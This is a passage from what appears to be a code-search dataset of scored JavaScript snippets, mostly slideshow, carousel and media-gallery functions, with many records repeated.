drawSlide(slideNumber);\r\n advanceSlide();\r\n}", "title": "" }, { "docid": "c3497a3a08be1de5dba4c5bb10b540b5", "score": "0.5650105", "text": "function flyTo(slide) {\n\t\t// Temporarily remove intermediary slides - the callback puts them back after slide has transitioned.\n\t\tvar intermediates = $('div.swiper-slide:not(.swiper-slide-duplicate) .image').slice(1,-1);\n\t\tintermediates.css({opacity: 0})\n\t\tmySwiper.swipeTo(slide);\n\t}", "title": "" }, { "docid": "38af73c163267cd8a57ab7553e62047c", "score": "0.56465906", "text": "function currentSlide(n) {\r\n showSlides(slideIndex = n);\r\n}", "title": "" }, { "docid": "9b9628924e6cdd20542603ab159c2e4b", "score": "0.5643144", "text": "function plusSlides(moveIndex) {\n showSlides(moveIndex);\n}", "title": "" }, { "docid": "dc828ea7646e1593f76e65aca0f853f5", "score": "0.5625533", "text": "function captureSlide() {\n slideStart = currentSlide().find(\".instruction h2\").clone(); \n console.log(\"capture Slide\");\n }", "title": "" }, { "docid": "7a4d851da95dfa13596e91ceadc34030", "score": "0.5616232", "text": "function currentSlide(n) {\r\n showSlides(slideIndex = n);\r\n}", "title": "" }, { "docid": "4992fb46f3d794278854ab1f4e0b958a", "score": "0.56088024", "text": "function autoSlide()\n {\n nextSlide();\n }", "title": "" }, { "docid": "722166f287801f5bace33e857283c0a3", "score": "0.5607066", "text": "function currentSlide(i) {\n showSlides(slideIndex = i);\n}", "title": "" }, { "docid": "9c73da74a7562fd81645012cad8b1de7", "score": "0.56035155", "text": "function startSlide(){\n reset();\n sliderImages[0].style.display = 'block';\n}", "title": "" }, { "docid": "9d7b397aba4878e84b97cf724cece340", "score": "0.5601796", "text": "function slideWdw() {\r\n ++wdwSS;\r\n ++wdwSMax;\r\n\r\n if (Number(wdwSMax) >= Number(totalFrames)) {\r\n wdwSMax = totalFrames - 1;\r\n return; // Done\r\n }\r\n\r\n wdwPanel.animate({\r\n left: sSlots[wdwSS].position().left + 2\r\n }, 50);\r\n sendInfoFr(wdwSMax); //After a slide, send a info frame\r\n}", "title": "" }, { "docid": "d16daec430621f0ccef755c642aceab8", "score": "0.5596272", "text": "function currentSlide(n) {\n showSlide(slide_ind = n);\n}", "title": "" }, { "docid": "5b61855d9bf1bd420778dc7de44f6250", "score": "0.5595588", "text": "function next() {\n currentSlide().removeClass(\"js-show\");\n resetSlide();\n slideNumber += 1;\n currentSlide().addClass(\"js-show\");\n console.log(\"slide # \" + slideNumber);\n captureSlide();\n selectInput();\n\n \n }", "title": "" }, { "docid": "60ea997b2b5e7f2f43cbabdcc0085a79", "score": "0.55893075", "text": "function toggleMedia() {\n var defined;\n for (var i = 0; i < sheets.length; i++) {\n if (sheets[i].href && sheets[i].href.indexOf(href) > -1) {\n defined = true;\n }\n }\n if (defined) {\n ss.media = media || 'all';\n } else {\n setTimeout(toggleMedia);\n }\n }", "title": "" }, { "docid": "52160af8884faa28c2ff83e4aaaf8849", "score": "0.5587711", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n }", "title": "" }, { "docid": "fc2ad1b3cf93e324d20ab5a9029220a9", "score": "0.55840844", "text": "function currentSlide(n) {\r\n showSlides((slideIndex = n), true);\r\n}", "title": "" }, { "docid": "11b69cfc802425939e105cae223fa1dc", "score": "0.5580948", "text": "function hide_slides(){\n // Remove the old iframe if it exists\n if(getById('slides_frame'))\n getById('right_bottom').removeChild(getById('slides_frame'));\n // Toggle slides visibility\n right_resize('max');\n sender_add('slides', ['']);\n show_div('menu_slides', false);\n}", "title": "" }, { "docid": "9252e2ac0793811db9f084b0d1030f79", "score": "0.558069", "text": "function goTo(nextSlide, back) {\n\n //WAIT FOR FUNCTION TO COMPLETE BEFORE PROCEEDING\n if (slideWait) {\n return;\n } else {\n slideWait = true;\n }\n\n var index = nextSlide.index(),\n totalSlides = slideWrap.size(),\n middleSlide = slideWrap.eq(Math.floor(totalSlides / 2)),\n activeSlide = slideWrap.filter('.active'),\n minSlides = slideWrap.filter('.show').not('active'),\n totalMinSlides = minSlides.size(),\n tl = new TimelineLite();\n\n tl.timeScale(1).pause();\n\n //REMOVE ACTIVE FORM ALL SLIDES, MAKE OLD ACTIVE SLIDE CLICKABLE, MAKE NEXT SLIDE ACTIVE\n tl.call(function() {\n slideWrap.removeClass('active');\n activeSlide.addClass('clickable');\n nextSlide.removeClass('clickable').addClass('active show');\n }, 0);\n\n if(first) {\n //ANIMATE THE TITLE OUT ON FIRST SLIDE\n tl.to(title, 0.6, { y: -100, opacity: 0, ease: Power4.easeOut });\n tl.set(title, { display: 'none' });\n }\n\n //ANIMATE THE ACTIVE SLIDE TO A MINIMIZED SLIDE\n activeSlide.each(function() {\n var currWrap = $(this),\n showIndex = currWrap.index(),\n midForm = (slideWrap.size() / 2),\n currSlide = currWrap.find('.card'),\n currSlideBG = currSlide.find('.card-bg'),\n currSlideInner = currSlide.find('.inner-card'),\n currNo = currSlide.find('.card-no'),\n currTitle = currSlide.find('.card-title');\n\n tl.to(currSlideInner, 0.1, { height: 0, opacity: 0, padding: 0 }, 0);\n tl.to(currNo, 0.1, { color: white, left: '12%' }, 0);\n tl.to(currTitle, 0.1, { opacity: 1 }, 0);\n tl.to(currWrap, 1, { height: 68, ease: Expo.easeOut }, 0);\n tl.to(currSlide, 0.5, { height: 56, y: 0, ease: Expo.easeOut }, 0);\n tl.to(currSlideBG, 0.5, { background: whiteTrans, scaleX: 0.8, boxShadow: noShadow, ease: Expo.easeOut }, 0);\n });\n\n //ANIMATE IN NEXT SLIDE\n nextSlide.each(function() {\n var currWrap = $(this),\n showIndex = currWrap.index(),\n midForm = (slideWrap.size() / 2),\n currPosition = currWrap.parent('div'),\n currSlide = currWrap.find('.card'),\n currSlideInner = currSlide.find('.inner-card'),\n currSlideBG = currSlide.find('.card-bg'),\n currNo = currSlide.find('.card-no'),\n currTitle = currSlide.find('.card-title'),\n sceneHeight = currSlide.find('.inner-card').outerHeight(),\n\n innerHeight = 'auto',\n innerOpacity = 1,\n innerPadding = '4em 3em 2.5em 3em',\n noColor = green,\n noPos = 26,\n titleOpacity = 0,\n wrapHeight = 0,\n bgColor = white,\n bgScale = 1,\n bgShadow = shadow,\n slideHeight = 'auto',\n slideY = 0;\n\n if(back) {\n //IF INACTIVE SLIDE WAS CLICKED\n tl.to(currNo, 0.1, { color: noColor, left: noPos }, 0);\n tl.to(currTitle, 0.1, { opacity: titleOpacity }, 0);\n tl.to(currWrap, 0.3, { height: wrapHeight }, 0);\n tl.to(currSlideBG, 0.3, { background: bgColor, scaleX: bgScale, boxShadow: bgShadow }, 0);\n tl.to(currSlide, 0.3, { height: slideHeight, y: slideY }, 0);\n tl.to(currSlideInner, 0.1, { height: innerHeight, opacity: innerOpacity, padding: innerPadding, onComplete: displayNav }, 0);\n } else {\n //IF NEXT BUTTON WAS CLICKED\n tl.set(currNo, { color: noColor, left: noPos }, 0);\n tl.set(currTitle, { opacity: titleOpacity }, 0);\n tl.set(currWrap, { height: wrapHeight }, 0);\n tl.set(currSlideBG, { background: bgColor, scaleX: bgScale, boxShadow: bgShadow }, 0);\n tl.set(currSlide, { height: slideHeight, y: slideY, x: '150%', opacity: 0 }, 0);\n tl.set(currSlideInner, { height: innerHeight, opacity: innerOpacity, padding: innerPadding, onComplete: displayNext }, 0);\n }\n\n if(currWrap.hasClass('loading')) {\n var showList = $('#showList'),\n showLoader = $('#showLoader'),\n showPricing = $('#showPricing'),\n progress = $('.loader-progress');\n\n //SHOW AND ANIMATE LOADER\n TweenMax.set(showLoader, { display: 'block', delay: 0.2 });\n TweenMax.set(showPricing, { opacity: 0 });\n TweenMax.fromTo(progress, 1, { rotation: 0, transformOrigin: '50% 50%'},{ rotation: 360, repeat: 1, ease: Sine.easeInOut, onComplete: showPrices });\n\n //BUILD APPROVAL LIST AND REMOVE LOADER\n function showPrices() {\n TweenMax.to(showLoader, 0.5, { opacity: 0 });\n TweenMax.set(showLoader, { display: 'none', delay: 0.5 });\n\n TweenMax.set(showPricing, { display: 'block', delay: 1 });\n TweenMax.from(showPricing, 0.5, { height: 0, delay: 1 });\n TweenMax.to(showPricing, 0.5, { opacity: 1, delay: 1 });\n }\n }\n\n //SLIDE IN THE NEXT SLIDE WHEN NEXT BUTTON PRESSED\n function displayNext() {\n if(currPosition.hasClass('slider-bottom')) {\n $('.slider-bottom').addClass('active');\n\n var resizeHeight = currSlideInner.outerHeight(),\n multiplier = showIndex,\n newTop = -(resizeHeight) - (68 * multiplier) - 12;\n\n TweenMax.to(scene, 0.3, { height: resizeHeight, ease: Expo.easeOut });\n TweenMax.set(currSlide, { height: 'auto', y: newTop, x: '150%', opacity: 0 });\n } else {\n $('.slider-bottom').removeClass('active');\n }\n\n TweenMax.to(currSlide, 1.2, { x: '0%', opacity: 1, ease: Expo.easeOut, delay: 0.3 });\n }\n\n //MOVE CLICKED SLIDE TO MIDDLE\n function displayNav() {\n var slidesShowing = currPosition.find('.show').size(),\n multiplier = slidesShowing - showIndex,\n newTop = (68 * multiplier) - 68,\n resizeHeight = currSlideInner.outerHeight();\n\n if(currPosition.hasClass('slider-bottom')) {\n multiplier = showIndex;\n newTop = -(resizeHeight) - (68 * multiplier) - 12;\n }\n\n TweenMax.to(scene, 0.3, { height: resizeHeight, ease: Expo.easeOut });\n TweenMax.to(currSlide, 0.3, { y: newTop, ease: Expo.easeOut });\n }\n\n });\n\n //READY TO PLAY\n tl.call(function() {\n slideWait = false;\n first = false;\n fitScene.init();\n });\n\n //START ANIMATION SEQUENCE\n tl.play();\n }", "title": "" }, { "docid": "525d2012ed2dd2a4b79a065e5b735def", "score": "0.5580488", "text": "function serveImage(slide) {\n if (screenWidth <= 1000) {\n imageSize = \"sm\";\n } else if (screenWidth <= 1500) {\n imageSize = \"md\";\n } else {\n imageSize = \"lg\";\n }\n }", "title": "" }, { "docid": "d4112a78d45326b46755baa5cb94776b", "score": "0.55783755", "text": "function loadCurrentSlide(n) {\r\n showSlides(currentSlide = n);\r\n}", "title": "" }, { "docid": "0bd19ece88b9392559ac488e249b5a39", "score": "0.5576624", "text": "function showSlides(activeSlide) {\n var width = (window.innerWidth > 0) ? window.innerWidth : screen.width;\n\n if (width > 767) {\n var slides = document.getElementById('desktop-slider').getElementsByClassName('carousel-slides');\n } else {\n var slides = document.getElementById('mobile-slider').getElementsByClassName('carousel-slides');\n }\n\n var slideLen = slides.length;\n if (activeSlide > slideLen) {\n slideIndex = 1;\n }\n if (activeSlide < 1) {\n slideIndex = slideLen;\n }\n for (var i = 0; i < slideLen; i++) {\n slides[i].style.display = 'none';\n }\n slides[slideIndex - 1].style.display = 'block';\n }", "title": "" }, { "docid": "a8d06d0cc120e0a0f1bf190b9c7b8eea", "score": "0.5567451", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "a8d06d0cc120e0a0f1bf190b9c7b8eea", "score": "0.5567451", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "a8d06d0cc120e0a0f1bf190b9c7b8eea", "score": "0.5567451", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "7a264f0390bd9e5a57ad51e82e9761fb", "score": "0.55667716", "text": "function startFullScreen() {\n presToEdit.requestFullscreen();\n document.body.addEventListener(\"keydown\", function (evt) {\n\n if (evt.keyCode == 39) {\n displayNextSlide();\n } else if (evt.keyCode == 37) {\n displayPreviousSlide();\n }\n }); \n}", "title": "" }, { "docid": "bf1a4baa7611ae05a92b5924458fdbda", "score": "0.55560637", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n }", "title": "" }, { "docid": "9c26111d093573ee370a9dfb5892be26", "score": "0.5551262", "text": "function playMedia(destiny){\r\n var panel = getSlideOrSection(destiny);\r\n\r\n //playing HTML5 media elements\r\n panel.find('video, audio').each(function(){\r\n var element = $(this).get(0);\r\n\r\n if( element.hasAttribute('data-autoplay') && typeof element.play === 'function' ) {\r\n element.play();\r\n }\r\n });\r\n\r\n //youtube videos\r\n panel.find('iframe[src*=\"youtube.com/embed/\"]').each(function(){\r\n var element = $(this).get(0);\r\n\r\n if ( element.hasAttribute('data-autoplay') ){\r\n playYoutube(element);\r\n }\r\n\r\n //in case the URL was not loaded yet. On page load we need time for the new URL (with the API string) to load.\r\n element.onload = function() {\r\n if ( element.hasAttribute('data-autoplay') ){\r\n playYoutube(element);\r\n }\r\n };\r\n });\r\n }", "title": "" }, { "docid": "9c26111d093573ee370a9dfb5892be26", "score": "0.5551262", "text": "function playMedia(destiny){\r\n var panel = getSlideOrSection(destiny);\r\n\r\n //playing HTML5 media elements\r\n panel.find('video, audio').each(function(){\r\n var element = $(this).get(0);\r\n\r\n if( element.hasAttribute('data-autoplay') && typeof element.play === 'function' ) {\r\n element.play();\r\n }\r\n });\r\n\r\n //youtube videos\r\n panel.find('iframe[src*=\"youtube.com/embed/\"]').each(function(){\r\n var element = $(this).get(0);\r\n\r\n if ( element.hasAttribute('data-autoplay') ){\r\n playYoutube(element);\r\n }\r\n\r\n //in case the URL was not loaded yet. On page load we need time for the new URL (with the API string) to load.\r\n element.onload = function() {\r\n if ( element.hasAttribute('data-autoplay') ){\r\n playYoutube(element);\r\n }\r\n };\r\n });\r\n }", "title": "" }, { "docid": "9c26111d093573ee370a9dfb5892be26", "score": "0.5551262", "text": "function playMedia(destiny){\r\n var panel = getSlideOrSection(destiny);\r\n\r\n //playing HTML5 media elements\r\n panel.find('video, audio').each(function(){\r\n var element = $(this).get(0);\r\n\r\n if( element.hasAttribute('data-autoplay') && typeof element.play === 'function' ) {\r\n element.play();\r\n }\r\n });\r\n\r\n //youtube videos\r\n panel.find('iframe[src*=\"youtube.com/embed/\"]').each(function(){\r\n var element = $(this).get(0);\r\n\r\n if ( element.hasAttribute('data-autoplay') ){\r\n playYoutube(element);\r\n }\r\n\r\n //in case the URL was not loaded yet. On page load we need time for the new URL (with the API string) to load.\r\n element.onload = function() {\r\n if ( element.hasAttribute('data-autoplay') ){\r\n playYoutube(element);\r\n }\r\n };\r\n });\r\n }", "title": "" }, { "docid": "37b158c2e0f7f916bbb7c758e7838e13", "score": "0.5549277", "text": "function nextSlide() {\n showSlides(slideIndex += 1);\n}", "title": "" }, { "docid": "252a7651d7e76b92ac925f9ccfed4c8e", "score": "0.55437005", "text": "function startSlideShow () {\n zeroToOne(allSlides[0]);\n oneToTwo(allSlides[0], 1);\n twoToThreeStart(allSlides[0], 2);\n\n zeroToOne(allSlides[1], 1);\n oneToTwo(allSlides[1], 2);\n\n zeroToOne(allSlides[2], 2);\n\n firstSlideIndex = 3;\n}", "title": "" }, { "docid": "25e1be58f7a2d1f4ac358fa49d7853a9", "score": "0.55383545", "text": "function setResponsive() {\n\t\t\tsettings.beforeSetResponsive();\n\t\t\t\n\t\t\tvar slides = getSlides();\n\t\t\t\n\t\t\tstop(true);\n \n\t\t\tslides.each(function() {\n\t\t\t\tvar slide = $(this);\n\t\t\t\tvar elements = slide.find(ELEMENTS);\n\t\t\t\t\n\t\t\t\tslide.finish();\n\t\t\t\tslideIn(slide);\n\t\t\t\tslide.finish();\n \n\t\t\t\telements.each(function() {\n\t\t\t\t\tvar element = $(this);\n\t\t\t\t\t\n\t\t\t\t\telement.finish();\n\t\t\t\t\telementIn(element);\n\t\t\t\t\telement.finish();\n\t\t\t\t});\n\t\t\t});\n\t\t\t\n\t\t\tsetScale();\n\t\t\t\n\t\t\tsetLayout();\n\t\t\t\n\t\t\tslides.each(function() {\n\t\t\t\tvar slide = $(this);\n\t\t\t\tvar elements = slide.find(ELEMENTS);\n\t\t\t\t\n \n elements.each(function() {\t\n\t\t\t\t\tvar element = $(this);\n\t\t\t\t\t\n\t\t\t\t\telement.find('*').each(function() {\n\t\t\t\t\t\tvar element_content = $(this);\n\t\t\t\t\t\tscaleElement(element_content);\n\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t\tscaleElement(element);\n \n\t\t\t\t\telement.finish();\n\t\t\t\t\telementOut(element);\n\t\t\t\t\telement.finish();\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\tslide.finish();\n\t\t\t\tslideOut(slide);\n\t\t\t\tslide.finish();\n\t\t\t});\n\t\t\t\n\t\t\twindow_width_before_setResponsive = $(window).width();\n\t\t\t\n\t\t\tplay();\n\t\t}", "title": "" }, { "docid": "ce9eddee9af7533c50965c1b13739a49", "score": "0.5534705", "text": "function moveSlides(dir, gameObject) {\n if (gameObject.data.games.game.length != undefined) {\n var games = gameObject.data.games.game;\n var size = games.length - 1;\n\n if (dir === 'prev') {\n handleMove(1, games, size);\n\n } else {\n handleMove(0, games, size);\n }\n }\n}", "title": "" }, { "docid": "26bafbd9e08cd1e6c70314421ce587f9", "score": "0.5533119", "text": "static handleInView() {\n const scroller = scrollama();\n\n scroller\n .setup({\n step: '[data-video]',\n offset: playVideoOffset,\n\n })\n .onStepEnter(({ element }) => {\n if (element.readyState === 4) {\n element.play();\n } else {\n element.addEventListener('canplaythrough', () => {\n element.play();\n });\n }\n })\n .onStepExit(({ element }) => {\n element.pause();\n });\n }", "title": "" }, { "docid": "3b7b4fe3c6c1548f3d7a83e918b871f2", "score": "0.55251014", "text": "function playMedia(destiny){\n var panel = getSlideOrSection(destiny);\n\n //playing HTML5 media elements\n $('video, audio', panel).forEach(function(element){\n if( element.hasAttribute('data-autoplay') && typeof element.play === 'function' ) {\n element.play();\n }\n });\n\n //youtube videos\n $('iframe[src*=\"youtube.com/embed/\"]', panel).forEach(function(element){\n if ( element.hasAttribute('data-autoplay') ){\n playYoutube(element);\n }\n\n //in case the URL was not loaded yet. On page load we need time for the new URL (with the API string) to load.\n element.onload = function() {\n if ( element.hasAttribute('data-autoplay') ){\n playYoutube(element);\n }\n };\n });\n }", "title": "" }, { "docid": "7685cc091905a96a53345b1ff2baa4b3", "score": "0.55241793", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "7685cc091905a96a53345b1ff2baa4b3", "score": "0.55241793", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "7685cc091905a96a53345b1ff2baa4b3", "score": "0.55241793", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "7685cc091905a96a53345b1ff2baa4b3", "score": "0.55241793", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "7685cc091905a96a53345b1ff2baa4b3", "score": "0.55241793", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "f82fc235556801d6e5355df00395fa66", "score": "0.55149895", "text": "function showSlides() {\n var i;\n var slides = document.getElementsByClassName(\"space-slide\");\n for (i = 0; i < slides.length; i++) {\n slides[i].style.display = \"none\";\n }\n slideIndex++;\n if (slideIndex > slides.length) {\n slideIndex = 1\n }\n slides[slideIndex - 1].style.display = \"block\";\n setTimeout(showSlides, 3000);\n}", "title": "" }, { "docid": "acb6ba7c002d64332bc056c2d3dae343", "score": "0.5504387", "text": "@action returnHome() {\n this.carousel.enableSlider();\n this.carousel.goToSlide(0);\n }", "title": "" }, { "docid": "eb3bf463d9a4a422ac2e378762d7ecb0", "score": "0.55036366", "text": "function currentSlide(n) {\n showSlidesCurrent(slideIndexCurrent = n);\n\n}", "title": "" }, { "docid": "b837427a45a4d686f0ab1ca1096e1182", "score": "0.5503537", "text": "function returnToPlace(slides){\n\t\t\n\t\tif(g_parent.isInnerInPlace() == true)\n\t\t\treturn(false);\n\t\t\t\t\t\t\n\t\t//trigger before return event\n\t\tg_objParent.trigger(g_parent.events.BEFORE_RETURN);\n\t\t\n\t\tif(!slides)\n\t\t\tvar slides = g_parent.getSlidesReference();\n\t\t\n\t\tvar posCurrent = g_functions.getElementSize(slides.objCurrentSlide);\n\t\tvar destX = -posCurrent.left;\n\t\t\t\t\n\t\t//animate objects\t\t\n\t\tg_objInner.animate({left:destX+\"px\"},{\n\t\t\tduration: g_options.slider_transition_return_speed,\n\t\t\teasing: g_options.slider_transition_continuedrag_easing,\n\t\t\tqueue: false,\n\t\t\tprogress: function(animation, number, remainingMS){\n\t\t\t\t\t\t\t\t\n\t\t\t\t//check drag video\n\t\t\t\tif(g_temp.isDragVideo == true){\n\t\t\t\t\tvar objSize = g_functions.getElementSize(g_objInner);\n\t\t\t\t\tvar innerX = objSize.left;\n\t\t\t\t\t\n\t\t\t\t\tvar posDiff = innerX - destX;\n\t\t\t\t\t\n\t\t\t\t\tvar videoPosX = g_temp.videoStartX + posDiff;\n\t\t\t\t\tg_temp.videoObject.css(\"left\", videoPosX);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t},\n\t\t\tcomplete: function(){\n\t\t\t\tg_objParent.trigger(g_parent.events.AFTER_RETURN);\n\t\t\t}\n\t\t});\n\t\t\n\t}", "title": "" }, { "docid": "b837427a45a4d686f0ab1ca1096e1182", "score": "0.5503537", "text": "function returnToPlace(slides){\n\t\t\n\t\tif(g_parent.isInnerInPlace() == true)\n\t\t\treturn(false);\n\t\t\t\t\t\t\n\t\t//trigger before return event\n\t\tg_objParent.trigger(g_parent.events.BEFORE_RETURN);\n\t\t\n\t\tif(!slides)\n\t\t\tvar slides = g_parent.getSlidesReference();\n\t\t\n\t\tvar posCurrent = g_functions.getElementSize(slides.objCurrentSlide);\n\t\tvar destX = -posCurrent.left;\n\t\t\t\t\n\t\t//animate objects\t\t\n\t\tg_objInner.animate({left:destX+\"px\"},{\n\t\t\tduration: g_options.slider_transition_return_speed,\n\t\t\teasing: g_options.slider_transition_continuedrag_easing,\n\t\t\tqueue: false,\n\t\t\tprogress: function(animation, number, remainingMS){\n\t\t\t\t\t\t\t\t\n\t\t\t\t//check drag video\n\t\t\t\tif(g_temp.isDragVideo == true){\n\t\t\t\t\tvar objSize = g_functions.getElementSize(g_objInner);\n\t\t\t\t\tvar innerX = objSize.left;\n\t\t\t\t\t\n\t\t\t\t\tvar posDiff = innerX - destX;\n\t\t\t\t\t\n\t\t\t\t\tvar videoPosX = g_temp.videoStartX + posDiff;\n\t\t\t\t\tg_temp.videoObject.css(\"left\", videoPosX);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t},\n\t\t\tcomplete: function(){\n\t\t\t\tg_objParent.trigger(g_parent.events.AFTER_RETURN);\n\t\t\t}\n\t\t});\n\t\t\n\t}", "title": "" }, { "docid": "4e871967797e41952965cbf19ebaedb3", "score": "0.5498847", "text": "function moveSlides() {\n //animation starts now\n isAnimating = true;\n\n allSlides[nextSlide].classList.add(\"onscreen\");\n allSlides[currentSlide].classList.add(\"exit\");\n allSlides[currentSlide].classList.remove(\"onscreen\");\n updateSlidesIndex();\n updatePagination();\n }", "title": "" }, { "docid": "104e2c52bbe2f058229edc491005dbb7", "score": "0.5496815", "text": "function startEmbeddedContent( slide ) {\n\n\t\tif( slide && !isSpeakerNotes() ) {\n\t\t\t// Restart GIFs\n\t\t\ttoArray( slide.querySelectorAll( 'img[src$=\".gif\"]' ) ).forEach( function( el ) {\n\t\t\t\t// Setting the same unchanged source like this was confirmed\n\t\t\t\t// to work in Chrome, FF & Safari\n\t\t\t\tel.setAttribute( 'src', el.getAttribute( 'src' ) );\n\t\t\t} );\n\n\t\t\t// HTML5 media elements\n\t\t\ttoArray( slide.querySelectorAll( 'video, audio' ) ).forEach( function( el ) {\n\t\t\t\tif( el.hasAttribute( 'data-autoplay' ) && typeof el.play === 'function' ) {\n\t\t\t\t\tel.play();\n\t\t\t\t}\n\t\t\t} );\n\n\t\t\t// Normal iframes\n\t\t\ttoArray( slide.querySelectorAll( 'iframe[src]' ) ).forEach( function( el ) {\n\t\t\t\tstartEmbeddedIframe( { target: el } );\n\t\t\t} );\n\n\t\t\t// Lazy loading iframes\n\t\t\ttoArray( slide.querySelectorAll( 'iframe[data-src]' ) ).forEach( function( el ) {\n\t\t\t\tif( el.getAttribute( 'src' ) !== el.getAttribute( 'data-src' ) ) {\n\t\t\t\t\tel.removeEventListener( 'load', startEmbeddedIframe ); // remove first to avoid dupes\n\t\t\t\t\tel.addEventListener( 'load', startEmbeddedIframe );\n\t\t\t\t\tel.setAttribute( 'src', el.getAttribute( 'data-src' ) );\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\n\t}", "title": "" }, { "docid": "104e2c52bbe2f058229edc491005dbb7", "score": "0.5496815", "text": "function startEmbeddedContent( slide ) {\n\n\t\tif( slide && !isSpeakerNotes() ) {\n\t\t\t// Restart GIFs\n\t\t\ttoArray( slide.querySelectorAll( 'img[src$=\".gif\"]' ) ).forEach( function( el ) {\n\t\t\t\t// Setting the same unchanged source like this was confirmed\n\t\t\t\t// to work in Chrome, FF & Safari\n\t\t\t\tel.setAttribute( 'src', el.getAttribute( 'src' ) );\n\t\t\t} );\n\n\t\t\t// HTML5 media elements\n\t\t\ttoArray( slide.querySelectorAll( 'video, audio' ) ).forEach( function( el ) {\n\t\t\t\tif( el.hasAttribute( 'data-autoplay' ) && typeof el.play === 'function' ) {\n\t\t\t\t\tel.play();\n\t\t\t\t}\n\t\t\t} );\n\n\t\t\t// Normal iframes\n\t\t\ttoArray( slide.querySelectorAll( 'iframe[src]' ) ).forEach( function( el ) {\n\t\t\t\tstartEmbeddedIframe( { target: el } );\n\t\t\t} );\n\n\t\t\t// Lazy loading iframes\n\t\t\ttoArray( slide.querySelectorAll( 'iframe[data-src]' ) ).forEach( function( el ) {\n\t\t\t\tif( el.getAttribute( 'src' ) !== el.getAttribute( 'data-src' ) ) {\n\t\t\t\t\tel.removeEventListener( 'load', startEmbeddedIframe ); // remove first to avoid dupes\n\t\t\t\t\tel.addEventListener( 'load', startEmbeddedIframe );\n\t\t\t\t\tel.setAttribute( 'src', el.getAttribute( 'data-src' ) );\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\n\t}", "title": "" }, { "docid": "6a08f809b24491422a698dc9c2f8f12b", "score": "0.5496071", "text": "presentNextController() {\n this.navigationController.present(new PlayViewController(this.lectureData));\n }", "title": "" }, { "docid": "cd2e7d0469cc6d49dd54e8c9404b8944", "score": "0.5494329", "text": "function showImageGallery(storyItems) {\n \n // retrieve the injected pswpElement\n getPswpElement(function(pswpElement) {\n var slides = [];\n if(storyItems.dash_playback_url) {\n var storyVideo = document.createElement('video');\n storyVideo.id = \"liveVideoPlayer\";\n $(storyVideo).css('width', '100%');\n slides.push({\n html: storyVideo,\n storyItem: storyItems\n });\n } else {\n storyItems.map((storyItem, i) => {\n if(storyItem.dash_manifest) {\n var storyVideo = document.createElement('video');\n storyVideo.id = \"liveVideoPlayer\";\n $(storyVideo).css('width', '100%');\n slides.push({\n html: storyVideo,\n storyItem: storyItem\n });\n } else \n // if videos are available, create a new HTML slide containing the Story video\n if(storyItem['video_versions']) {\n var video = storyItem['video_versions'][0];\n \n var storyVideo = document.createElement('video');\n var source = document.createElement(\"source\");\n storyVideo.setAttribute(\"controls\", true);\n if(i === 0) { storyVideo.setAttribute(\"autoplay\", true); }\n source.src = video['url'];\n storyVideo.appendChild(source);\n $(storyVideo).addClass('videoStoryItem');\n $(storyVideo).addClass('pswp__video active');\n $(storyVideo).css('position', 'absolute');\n \n slides.push({\n html: storyVideo,\n storyItem: storyItem\n });\n } else {\n // create a normal slide with the Story image\n var image = storyItem['image_versions2']['candidates'][0];\n var url = image['url'].replace(\"http://\", \"https://\");\n slides.push({\n src: url,\n msrc: url,\n w: image['width'],\n h: image['height'],\n storyItem: storyItem\n });\n }\n });\n }\n \n var options = {\n closeOnScroll: false,\n shareEl: false\n };\n \n var gallery = new PhotoSwipe(pswpElement, PhotoSwipeUI_Default, slides, options);\n \n // update the Story author's username and profile picture\n gallery.listen('afterChange', function() {\n var currentItem = gallery.currItem.storyItem;\n if(currentItem.broadcasts || currentItem.broadcast_owner) {\n let player = MediaPlayer().create();\n if(currentItem.dash_manifest) {\n let url = gallery.currItem.storyItem.dash_manifest;\n player.initialize(document.querySelector('#liveVideoPlayer'));\n // a post-live video object contains a string representation of the manifest that needs to be parsed\n var manifestObject = getLiveVideoManifestObject(url);\n player.attachSource(manifestObject);\n } else {\n let url = gallery.currItem.storyItem.dash_playback_url;\n player.initialize(document.querySelector('#liveVideoPlayer'), url, true);\n }\n player.getDebug().setLogToBrowserConsole(false);\n player.play();\n } else {\n var currItem = $(gallery.currItem.container);\n \n var storyAuthorImage = currItem.find('.storyAuthorImage');\n var storyAuthorUsername = currItem.find('.storyAuthorUsername');\n \n // only add the Story author's username/profile picture to the current slide if it doesn't already exist\n if(storyAuthorImage.length == 0 && storyAuthorUsername.length == 0) {\n storyAuthorImage = document.createElement('img');\n storyAuthorImage.setAttribute(\"class\", \"storyAuthorImage\");\n storyAuthorImage.style.position = 'absolute';\n \n storyAuthorUsername = document.createElement('span');\n storyAuthorUsername.setAttribute(\"class\", \"storyAuthorUsername\");\n storyAuthorUsername.style.position = 'absolute';\n \n $(currItem).append(storyAuthorImage);\n $(currItem).append(storyAuthorUsername);\n }\n \n $(storyAuthorImage).attr(\"src\", currentItem['user']['profile_pic_url']);\n $(storyAuthorUsername).text(currentItem['user']['username'] + \" - \" + getTimeElapsed(currentItem['taken_at']));\n \n if(currentItem['video_versions']) {\n $(storyAuthorImage).css(\"top\", \"45px\");\n $(storyAuthorUsername).css(\"top\", \"55px\");\n }\n }\n });\n \n // handle playing/pausing videos while traversing the gallery\n gallery.listen('beforeChange', function() {\n var currItem = $(gallery.currItem.container);\n // remove 'active' class from any videos\n $('.pswp__video').removeClass('active');\n // add 'active' class to the currently playing video\n var currItemIframe = currItem.find('.pswp__video').addClass('active');\n // for each video, pause any inactive videos, and play the active video\n $('.pswp__video').each(function() {\n if (!$(this).hasClass('active')) {\n $(this)[0].pause();\n $(this)[0].currentTime = 